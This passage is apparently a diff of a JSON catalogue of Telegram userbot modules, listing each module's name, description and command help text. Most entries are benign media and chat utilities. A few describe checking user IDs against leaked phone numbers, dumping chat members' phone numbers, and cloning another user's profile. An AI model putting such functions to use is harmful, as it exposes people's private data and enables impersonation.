}, + "Den4ikSuperOstryyPer4ik/Astro-modules/commands_logger.py": { + "name": "HikkaCommandsLoggerMod", + "description": "Hikka Commands Logger", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/HikkaCommandsLogger.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "watcher": "" + } + ], + "new_commands": [ + { + "watcher": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/akinator.py": { + "name": "AkinatorGame", + "description": "Akinator will guess any character you have in mind,\nYou just need to answer a couple of questions)", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Akinator.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "akinator": "- start the game - начать игру" + } + ], + "new_commands": [ + { + "akinator": { + "ru_doc": "- начать игру", + "en_doc": null, + "doc": "- start the game" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/пон_вахуи.py": { + "name": "ПонВахуиMod", + "description": "пон и вахуи", + "meta": { + "pic": null, + "banner": null, + "developer": "@AstroModules" + }, + "commands": [ + { + "пон": "--> инлайн меню со стикерами пон" + }, + { + "вахуи": "--> инлайн меню со стикерами \"вахуи\" " + } + ], + "new_commands": [ + { + "пон": { + "ru_doc": null, + "en_doc": null, + "doc": "--> инлайн меню со стикерами пон" + } + }, + { + "вахуи": { + "ru_doc": null, + "en_doc": null, + "doc": "--> инлайн меню со стикерами \"вахуи\" " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "DziruModules/hikkamods/Carbon.py": { + "name": "CarbonMod", + "description": "Create beautiful code images. Edited by @Penggrin", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/Carbon.png", + "developer": "@hikarimods" + }, + "commands": [ + { + "carboncmd": "<code> - Create beautiful code image <код> - Сделать красивую фотку кода" + } + ], + "new_commands": [ + { + "carbon": { + "ru_doc": "<код> - Сделать красивую фотку кода", + "en_doc": null, + "doc": "<code> - Create beautiful code image" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "DziruModules/hikkamods/GoodWishes.py": { + "name": "GoodWishesMod", + "description": "Good wishes for the day", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/GoodWishes.png", + "developer": "@dziru" + }, + "commands": [ + { + "gdmcmd": "Good Morning" + }, + { + "gdacmd": "Good Afternoon" + }, + { + "gdecmd": "Good Evening" + }, + { + "gdncmd": "Good Night" + } + ], + "new_commands": [ + { + "gdm": { + "ru_doc": null, + "en_doc": null, + "doc": "Good Morning" + } + }, + { + "gda": { + "ru_doc": null, + "en_doc": null, + "doc": "Good Afternoon" + } + }, + { + "gde": { + "ru_doc": null, + "en_doc": null, + "doc": "Good Evening" + } + }, + { + "gdn": { + "ru_doc": null, + "en_doc": null, + "doc": "Good Night" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "DziruModules/hikkamods/DziShazam.py": { + "name": "DziShazamMod", + "description": "Module for searching music's. Works through @lybot", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/DziShazam.png", + "developer": "@dziru" + }, + "commands": [ + { + "mcdcmd": "<song> enter name <песня> укажите название" + } + ], + "new_commands": [ + { + "mcd": { + "ru_doc": "<песня> укажите название", + "en_doc": null, + "doc": "<song> enter name" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "DziruModules/hikkamods/CryptoBalance.py": { + "name": "CryptoBalanceMod", + "description": "Check your balance in many Crypto Wallet Bots", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/CryptoBalance.png", + "developer": "@dziru" + }, + "commands": [ + { + "bcrypto": "Check your balance in @CryptoBot Проверить твой баланс в @CryptoBot" + }, + { + "bton": "Check your balance in @TonRocketBot Проверить твой баланс в @TonRocketBot" + }, + { + "bjet": "Check your balance in @xJetSwapBot Проверить твой баланс в @xJetSwapBot" + }, + { + "btest": "Check your balance in @CryptoTestNetBot Проверить твой баланс в @CryptoTestNetBot" + }, + { + "bwallet": "Check your balance in @Wallet Проверить твой баланс в @Wallet" + } + ], + "new_commands": [ + { + "bcrypto": { + "ru_doc": "Проверить твой баланс в @CryptoBot", + "en_doc": null, + "doc": "Check your balance in @CryptoBot" + } + }, + { + "bton": { + "ru_doc": "Проверить твой баланс в @TonRocketBot", + "en_doc": null, + "doc": "Check your balance in @TonRocketBot" + } + }, + { + "bjet": { + "ru_doc": "Проверить твой баланс в @xJetSwapBot", + "en_doc": null, + "doc": "Check your balance in @xJetSwapBot" + } + }, + { + "btest": { + "ru_doc": "Проверить твой баланс в @CryptoTestNetBot", + "en_doc": null, + "doc": "Check your balance in @CryptoTestNetBot" + } + }, + { + "bwallet": { + "ru_doc": "Проверить твой баланс в @Wallet", + "en_doc": null, + "doc": "Check your balance in @Wallet" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "DziruModules/hikkamods/RepoSaver.py": { + "name": "RepoSaverMod", + "description": "GitHub Repository saver via @githubrepo_download_bot", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/RepoSaver.png", + "developer": "@dziru" + }, + "commands": [ + { + "repocmd": "enter Repository link from GitHub" + } + ], + "new_commands": [ + { + "repo": { + "ru_doc": null, + "en_doc": null, + "doc": "enter Repository link from GitHub" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "DziruModules/hikkamods/Gitinfo.py": { + "name": "GitInfoMod", + "description": "Get Github user info, simply type username", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/GitInfo.png", + "developer": "@dziru" + }, + "commands": [ + { + "gitinfocmd": "<username>" + } + ], + "new_commands": [ + { + "gitinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "<username>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "DziruModules/hikkamods/Among.py": { + "name": "AmongMod", + "description": "Create AmongUs stickers", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/Among.png", + "developer": "@dziru" + }, + "commands": [ + { + "amongcmd": "Type message or reply" + } + ], + "new_commands": [ + { + "among": { + "ru_doc": null, + "en_doc": null, + "doc": "Type message or reply" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "DziruModules/hikkamods/AutoComment.py": { + "name": "AutoCommentMod", + "description": "Automatically comments under any channels you want", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/AutoComment.png", + "developer": "@dziru" + }, + "commands": [ + { + "commentcmd": "Toggle Module <on/off>" + } + ], + "new_commands": [ + { + "comment": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle Module <on/off>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "DziruModules/hikkamods/PinSaver.py": { + "name": "PinSaverMod", + "description": "Pinterest saver via @TopSaverBot", + "meta": { + "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", + "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/PinSaver.png", + "developer": "@dziru" + }, + "commands": [ + { + "pincmd": "LINK from Pinterest" + } + ], + "new_commands": [ + { + "pin": { + "ru_doc": null, + "en_doc": null, + "doc": "LINK from Pinterest" + } + } + ], + "category": [ + "Chat", + "Media" + ] + }, + "D4n13l3k00/FTG-Modules/ChatStata.py": { + "name": "ChatStatisticMod", + "description": "Статистика чата", "meta": { "pic": null, "banner": null, @@ -5322,41 +19567,149 @@ }, "commands": [ { - "avacmd": ".ava <reply_to_photo> - Установить аватар" - }, - { - "delavacmd": "Удалить текущую аватарку" - }, - { - "delavascmd": "Удалить все аватарки" + "statacmd": "" } ], "new_commands": [ { - "ava": { + "stata": { "ru_doc": null, "en_doc": null, - "doc": ".ava <reply_to_photo> - Установить аватар" - } - }, - { - "delava": { - "ru_doc": null, - "en_doc": null, - "doc": "Удалить текущую аватарку" - } - }, - { - "delavas": { - "ru_doc": null, - "en_doc": null, - "doc": "Удалить все аватарки" + "doc": null } } ], "category": [ - "Chat", - "Tools" + "Tools", + "Fun" + ] + }, + "D4n13l3k00/FTG-Modules/YTdl.py": { + "name": "YtDlMod", + "description": "Youtube-Dl Module", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "ripvcmd": ".ripv <link / reply_to_link> - download video" + }, + { + "ripacmd": ".ripa <link / reply_to_link> - download audio" + } + ], + "new_commands": [ + { + "ripv": { + "ru_doc": null, + "en_doc": null, + "doc": ".ripv <link / reply_to_link> - download video" + } + }, + { + "ripa": { + "ru_doc": null, + "en_doc": null, + "doc": ".ripa <link / reply_to_link> - download audio" + } + } + ], + "category": [ + "Media", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/PHSearch.py": { + "name": "PhSrchMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "sphcmd": "Найти видео на pornhub" + } + ], + "new_commands": [ + { + "sph": { + "ru_doc": null, + "en_doc": null, + "doc": "Найти видео на pornhub" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "D4n13l3k00/FTG-Modules/CheckerTG.py": { + "name": "CheckerTGMod", + "description": "CheckerTG", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "checkcmd": "Проверить id на слитый номер\nЖуёт либо <reply> либо <uid>" + }, + { + "rcheckcmd": "Обратный поиск\nЖуёт <phone number>" + } + ], + "new_commands": [ + { + "check": { + "ru_doc": null, + "en_doc": null, + "doc": "Проверить id на слитый номер\nЖуёт либо <reply> либо <uid>" + } + }, + { + "rcheck": { + "ru_doc": null, + "en_doc": null, + "doc": "Обратный поиск\nЖуёт <phone number>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/Tesseract.py": { + "name": "TesseractMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "ocrcmd": "Распознать текст с картинки" + } + ], + "new_commands": [ + { + "ocr": { + "ru_doc": null, + "en_doc": null, + "doc": "Распознать текст с картинки" + } + } + ], + "category": [ + "Tools", + "Fun" ] }, "D4n13l3k00/FTG-Modules/Randomizer.py": { @@ -5406,9 +19759,9 @@ "Tools" ] }, - "D4n13l3k00/FTG-Modules/VoiceRecognize.py": { - "name": "VoiceRecognitionMod", - "description": "Распознавание речи через Google Recognition API", + "D4n13l3k00/FTG-Modules/DumpUsers.py": { + "name": "DUsersMod", + "description": "DUsers", "meta": { "pic": null, "banner": null, @@ -5416,69 +19769,15 @@ }, "commands": [ { - "recvcmd": ".recv <reply to voice/audio> - распознать речь" + "ducmd": ".du <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" } ], "new_commands": [ { - "recv": { + "du": { "ru_doc": null, "en_doc": null, - "doc": ".recv <reply to voice/audio> - распознать речь" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "D4n13l3k00/FTG-Modules/help.py": { - "name": "HelpMod", - "description": "Provides this help message", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "helpcmd": ".help [module]" - } - ], - "new_commands": [ - { - "help": { - "ru_doc": null, - "en_doc": null, - "doc": ".help [module]" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/FDQuotes.py": { - "name": "FDQuoteMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "fdqcmd": ".fdq <реплай на юзера и текст> или <@username и текст> или <реплай и @username> или <реплай> - Создать квотес" - } - ], - "new_commands": [ - { - "fdq": { - "ru_doc": null, - "en_doc": null, - "doc": ".fdq <реплай на юзера и текст> или <@username и текст> или <реплай и @username> или <реплай> - Создать квотес" + "doc": ".du <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" } } ], @@ -5604,8 +19903,8 @@ "Media" ] }, - "D4n13l3k00/FTG-Modules/PHSearch.py": { - "name": "PhSrchMod", + "D4n13l3k00/FTG-Modules/Sender.py": { + "name": "SenderMod", "description": null, "meta": { "pic": null, @@ -5614,15 +19913,784 @@ }, "commands": [ { - "sphcmd": "Найти видео на pornhub" + "sndcmd": ".snd <канал/чат/id> <reply>\nОтпрпвить сообшение в чат/канал(без авторства)" } ], "new_commands": [ { - "sph": { + "snd": { "ru_doc": null, "en_doc": null, - "doc": "Найти видео на pornhub" + "doc": ".snd <канал/чат/id> <reply>\nОтпрпвить сообшение в чат/канал(без авторства)" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "D4n13l3k00/FTG-Modules/BackupMan.py": { + "name": "BackupManMod", + "description": "BackupMan", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "restmcmd": "Установить все модули из *.bkm файла" + }, + { + "backmcmd": "Сделать бэкап модулей в *.bkm файл" + }, + { + "restncmd": "Установить все заметки из *.bkn файла\n<f> - Заменять уже существующие заметки" + }, + { + "backncmd": "Сделать бэкап заметок в *.bkn файл" + } + ], + "new_commands": [ + { + "restm": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить все модули из *.bkm файла" + } + }, + { + "backm": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать бэкап модулей в *.bkm файл" + } + }, + { + "restn": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить все заметки из *.bkn файла\n<f> - Заменять уже существующие заметки" + } + }, + { + "backn": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать бэкап заметок в *.bkn файл" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "D4n13l3k00/FTG-Modules/CopyUser.py": { + "name": "CuMod", + "description": "Полное копирование юзера(ава, имя|фамилия, био)", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "cucmd": ".cu <s> <a> <reply/@username>\n<s> - Скрытый режим\n<a> - Удалить ваши аватарки\nАргументы после юзера не указывайте, не скушает\nПримеры:\n.cu s @user/reply\n.cu a @user/reply\n.cu s a @user/reply" + } + ], + "new_commands": [ + { + "cu": { + "ru_doc": null, + "en_doc": null, + "doc": ".cu <s> <a> <reply/@username>\n<s> - Скрытый режим\n<a> - Удалить ваши аватарки\nАргументы после юзера не указывайте, не скушает\nПримеры:\n.cu s @user/reply\n.cu a @user/reply\n.cu s a @user/reply" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/VideoEditor.py": { + "name": "VideoEditorMod", + "description": "Module for working with video", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "xflipvcmd": ".xflipv <reply_to_video> - Flip video by X" + }, + { + "yflipvcmd": ".yflipv <reply_to_video> - Flip video by Y" + }, + { + "bwvcmd": ".bwv <reply_to_video> - BlackWhite" + }, + { + "revvcmd": ".revv <reply_to_video> - Reverse video" + }, + { + "paintvcmd": ".paintv <reply_to_video> - Paint effect" + }, + { + "invertvcmd": ".invertv <reply_to_video> - Invert colors" + }, + { + "rmsvcmd": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" + }, + { + "cutvcmd": ".cutv <int [Default 30]> <reply_to_video> - Cut video" + }, + { + "audvcmd": ".audv <link> <reply_to_video> - Add audio to video" + }, + { + "fpsvcmd": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" + }, + { + "marginvcmd": ".marginv <int [Default 5]> <reply_to_video> - Add marging" + }, + { + "speedvcmd": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" + }, + { + "contrastvcmd": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" + }, + { + "lumvcmd": ".lumv <float [Default 25]> <reply_to_video> - Lum" + }, + { + "scalevcmd": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" + } + ], + "new_commands": [ + { + "xflipv": { + "ru_doc": null, + "en_doc": null, + "doc": ".xflipv <reply_to_video> - Flip video by X" + } + }, + { + "yflipv": { + "ru_doc": null, + "en_doc": null, + "doc": ".yflipv <reply_to_video> - Flip video by Y" + } + }, + { + "bwv": { + "ru_doc": null, + "en_doc": null, + "doc": ".bwv <reply_to_video> - BlackWhite" + } + }, + { + "revv": { + "ru_doc": null, + "en_doc": null, + "doc": ".revv <reply_to_video> - Reverse video" + } + }, + { + "paintv": { + "ru_doc": null, + "en_doc": null, + "doc": ".paintv <reply_to_video> - Paint effect" + } + }, + { + "invertv": { + "ru_doc": null, + "en_doc": null, + "doc": ".invertv <reply_to_video> - Invert colors" + } + }, + { + "rmsv": { + "ru_doc": null, + "en_doc": null, + "doc": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" + } + }, + { + "cutv": { + "ru_doc": null, + "en_doc": null, + "doc": ".cutv <int [Default 30]> <reply_to_video> - Cut video" + } + }, + { + "audv": { + "ru_doc": null, + "en_doc": null, + "doc": ".audv <link> <reply_to_video> - Add audio to video" + } + }, + { + "fpsv": { + "ru_doc": null, + "en_doc": null, + "doc": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" + } + }, + { + "marginv": { + "ru_doc": null, + "en_doc": null, + "doc": ".marginv <int [Default 5]> <reply_to_video> - Add marging" + } + }, + { + "speedv": { + "ru_doc": null, + "en_doc": null, + "doc": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" + } + }, + { + "contrastv": { + "ru_doc": null, + "en_doc": null, + "doc": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" + } + }, + { + "lumv": { + "ru_doc": null, + "en_doc": null, + "doc": ".lumv <float [Default 25]> <reply_to_video> - Lum" + } + }, + { + "scalev": { + "ru_doc": null, + "en_doc": null, + "doc": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/GPT.py": { + "name": "OpenAIGPTMod", + "description": "OpenAI GPT", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "setgptcmd": "<token> - set OpenAI access token" + }, + { + "gptcmd": "<text/reply_to_text> - generate text" + }, + { + "cgptcmd": "<text/reply_to_text> - answer ChatGPT (gpt-3.5-turbo)" + }, + { + "cgptresetcmd": "Reset ChatGPT history" + }, + { + "omodercmd": "turn chat text moderation with moderation endpoint (eng only)" + } + ], + "new_commands": [ + { + "setgpt": { + "ru_doc": null, + "en_doc": null, + "doc": "<token> - set OpenAI access token" + } + }, + { + "gpt": { + "ru_doc": null, + "en_doc": null, + "doc": "<text/reply_to_text> - generate text" + } + }, + { + "cgpt": { + "ru_doc": null, + "en_doc": null, + "doc": "<text/reply_to_text> - answer ChatGPT (gpt-3.5-turbo)" + } + }, + { + "cgptreset": { + "ru_doc": null, + "en_doc": null, + "doc": "Reset ChatGPT history" + } + }, + { + "omoder": { + "ru_doc": null, + "en_doc": null, + "doc": "turn chat text moderation with moderation endpoint (eng only)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/S3.py": { + "name": "S3Mod", + "description": "S3 file manager", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "s3upcmd": "" + } + ], + "new_commands": [ + { + "s3up": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "D4n13l3k00/FTG-Modules/help.py": { + "name": "HelpMod", + "description": "Provides this help message", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "helpcmd": ".help [module]" + } + ], + "new_commands": [ + { + "help": { + "ru_doc": null, + "en_doc": null, + "doc": ".help [module]" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/RndNsfw.py": { + "name": "RandomNSFWMod", + "description": "RndNsfw", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "crncmd": "Random pic from @wallhaven_nsfw" + }, + { + "crdcmd": "Random post from @dvach18" + }, + { + "crdbcmd": "Random post from @ru2ch_ban" + }, + { + "crfncmd": "Random Furry from channel" + }, + { + "crhcmd": "Random Hentai from channels" + }, + { + "rh2dcmd": "Random Hentai2D pic/gif from @murglar_bot\nYou can type category as argument(mustn't)" + }, + { + "rn3dcmd": "Random Nudes3D from @murglar_bot" + } + ], + "new_commands": [ + { + "crn": { + "ru_doc": null, + "en_doc": null, + "doc": "Random pic from @wallhaven_nsfw" + } + }, + { + "crd": { + "ru_doc": null, + "en_doc": null, + "doc": "Random post from @dvach18" + } + }, + { + "crdb": { + "ru_doc": null, + "en_doc": null, + "doc": "Random post from @ru2ch_ban" + } + }, + { + "crfn": { + "ru_doc": null, + "en_doc": null, + "doc": "Random Furry from channel" + } + }, + { + "crh": { + "ru_doc": null, + "en_doc": null, + "doc": "Random Hentai from channels" + } + }, + { + "rh2d": { + "ru_doc": null, + "en_doc": null, + "doc": "Random Hentai2D pic/gif from @murglar_bot\nYou can type category as argument(mustn't)" + } + }, + { + "rn3d": { + "ru_doc": null, + "en_doc": null, + "doc": "Random Nudes3D from @murglar_bot" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "D4n13l3k00/FTG-Modules/ImageEditor.py": { + "name": "ImageEditorMod", + "description": "ImageEditor - Simple tool for working with images", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "resizeicmd": ".resizei <w> <h> - Resize image" + }, + { + "rmbgicmd": ".rmbgi - Remove background via AI [Powered by Indian's AI]" + }, + { + "inverticmd": ".inverti - Invert colors" + }, + { + "bwicmd": ".bwi - BlackWhite" + }, + { + "convicmd": ".convi - Sticker to image | Image to sticker" + }, + { + "rotateicmd": ".rotatei <degrees> - Rotate image" + }, + { + "contrasticmd": ".contrasti <float> - Change contrast" + }, + { + "sharpnessicmd": ".sharpnessi <float> - Change sharpness" + }, + { + "brighticmd": ".brighti <float> - Change bright" + }, + { + "coloricmd": ".colori <float> - Change color factor" + } + ], + "new_commands": [ + { + "resizei": { + "ru_doc": null, + "en_doc": null, + "doc": ".resizei <w> <h> - Resize image" + } + }, + { + "rmbgi": { + "ru_doc": null, + "en_doc": null, + "doc": ".rmbgi - Remove background via AI [Powered by Indian's AI]" + } + }, + { + "inverti": { + "ru_doc": null, + "en_doc": null, + "doc": ".inverti - Invert colors" + } + }, + { + "bwi": { + "ru_doc": null, + "en_doc": null, + "doc": ".bwi - BlackWhite" + } + }, + { + "convi": { + "ru_doc": null, + "en_doc": null, + "doc": ".convi - Sticker to image | Image to sticker" + } + }, + { + "rotatei": { + "ru_doc": null, + "en_doc": null, + "doc": ".rotatei <degrees> - Rotate image" + } + }, + { + "contrasti": { + "ru_doc": null, + "en_doc": null, + "doc": ".contrasti <float> - Change contrast" + } + }, + { + "sharpnessi": { + "ru_doc": null, + "en_doc": null, + "doc": ".sharpnessi <float> - Change sharpness" + } + }, + { + "brighti": { + "ru_doc": null, + "en_doc": null, + "doc": ".brighti <float> - Change bright" + } + }, + { + "colori": { + "ru_doc": null, + "en_doc": null, + "doc": ".colori <float> - Change color factor" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/Captcha.py": { + "name": "CUserModel", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "D4n13l3k00/FTG-Modules/Shazam.py": { + "name": "ShazamMod", + "description": "Shazam API", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "shazamcmd": ".shazam <reply to audio> - распознать трек" + }, + { + "shazamtextcmd": ".shazamtext <reply to audio> - узнать текст трека" + } + ], + "new_commands": [ + { + "shazam": { + "ru_doc": null, + "en_doc": null, + "doc": ".shazam <reply to audio> - распознать трек" + } + }, + { + "shazamtext": { + "ru_doc": null, + "en_doc": null, + "doc": ".shazamtext <reply to audio> - узнать текст трека" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/Demotivator.py": { + "name": "dmt228Mod", + "description": "Демотиватор 228 @super_rjaka_demotivator_bot", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "dmtcmd": ".dmt [текст по желанию] <reply to video, photo or gif>" + } + ], + "new_commands": [ + { + "dmt": { + "ru_doc": null, + "en_doc": null, + "doc": ".dmt [текст по желанию] <reply to video, photo or gif>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/QiwiMod.py": { + "name": "QiwiMod", + "description": "Модуль для работы с Qiwi кошельком", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "qsetp2pcmd": ".qsetp2p <TOKEN>\nУстановить секретный p2p ключ" + }, + { + "qsetcmd": ".qset <phone> <TOKEN>\nУстановить номер и токен" + }, + { + "qbalcmd": ".qbal - Получить баланс" + }, + { + "qswalcmd": ".qswal <phone> <amount> <?comment> - Отправить средства по номеру" + }, + { + "qscardcmd": ".qscard <card_num[no_spaces]> <amount> - Отправить средства на карту" + }, + { + "qcmscmd": ".qcms <card_num/phone> <amount> - Посчитать комиссию" + }, + { + "qp2pcmd": ".qp2p <amount> <?comment> - Создать счёт для оплаты" + } + ], + "new_commands": [ + { + "qsetp2p": { + "ru_doc": null, + "en_doc": null, + "doc": ".qsetp2p <TOKEN>\nУстановить секретный p2p ключ" + } + }, + { + "qset": { + "ru_doc": null, + "en_doc": null, + "doc": ".qset <phone> <TOKEN>\nУстановить номер и токен" + } + }, + { + "qbal": { + "ru_doc": null, + "en_doc": null, + "doc": ".qbal - Получить баланс" + } + }, + { + "qswal": { + "ru_doc": null, + "en_doc": null, + "doc": ".qswal <phone> <amount> <?comment> - Отправить средства по номеру" + } + }, + { + "qscard": { + "ru_doc": null, + "en_doc": null, + "doc": ".qscard <card_num[no_spaces]> <amount> - Отправить средства на карту" + } + }, + { + "qcms": { + "ru_doc": null, + "en_doc": null, + "doc": ".qcms <card_num/phone> <amount> - Посчитать комиссию" + } + }, + { + "qp2p": { + "ru_doc": null, + "en_doc": null, + "doc": ".qp2p <amount> <?comment> - Создать счёт для оплаты" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/VideoShakal.py": { + "name": "VSHAKALMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "vshcmd": ".vsh <реплай на видео> <уровень от 1 до 6 (по умолчанию 3)>\nСшакалить видео" + } + ], + "new_commands": [ + { + "vsh": { + "ru_doc": null, + "en_doc": null, + "doc": ".vsh <реплай на видео> <уровень от 1 до 6 (по умолчанию 3)>\nСшакалить видео" } } ], @@ -5818,8 +20886,35 @@ "Admin" ] }, - "D4n13l3k00/FTG-Modules/Tesseract.py": { - "name": "TesseractMod", + "D4n13l3k00/FTG-Modules/FullApi.py": { + "name": "FullApiMod", + "description": "Фулл", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "rndfullcmd": "получить рандомный фулл :)" + } + ], + "new_commands": [ + { + "rndfull": { + "ru_doc": null, + "en_doc": null, + "doc": "получить рандомный фулл :)" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "D4n13l3k00/FTG-Modules/DelTimer.py": { + "name": "DelTmMod", "description": null, "meta": { "pic": null, @@ -5828,26 +20923,26 @@ }, "commands": [ { - "ocrcmd": "Распознать текст с картинки" + "deltmcmd": "<реплай> <секунды>\nУдалить сообщение в реплае через указанное время" } ], "new_commands": [ { - "ocr": { + "deltm": { "ru_doc": null, "en_doc": null, - "doc": "Распознать текст с картинки" + "doc": "<реплай> <секунды>\nУдалить сообщение в реплае через указанное время" } } ], "category": [ "Tools", - "Fun" + "Chat" ] }, - "D4n13l3k00/FTG-Modules/S3.py": { - "name": "S3Mod", - "description": "S3 file manager", + "D4n13l3k00/FTG-Modules/Try.py": { + "name": "TryMod", + "description": "Try", "meta": { "pic": null, "banner": null, @@ -5855,12 +20950,113 @@ }, "commands": [ { - "s3upcmd": "" + "trycmd": ".try действие" } ], "new_commands": [ { - "s3up": { + "try": { + "ru_doc": null, + "en_doc": null, + "doc": ".try действие" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "D4n13l3k00/FTG-Modules/DeepAI.py": { + "name": "DeepAIMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "dai_set_tokencmd": "" + }, + { + "cnsfwcmd": ".cnsfw 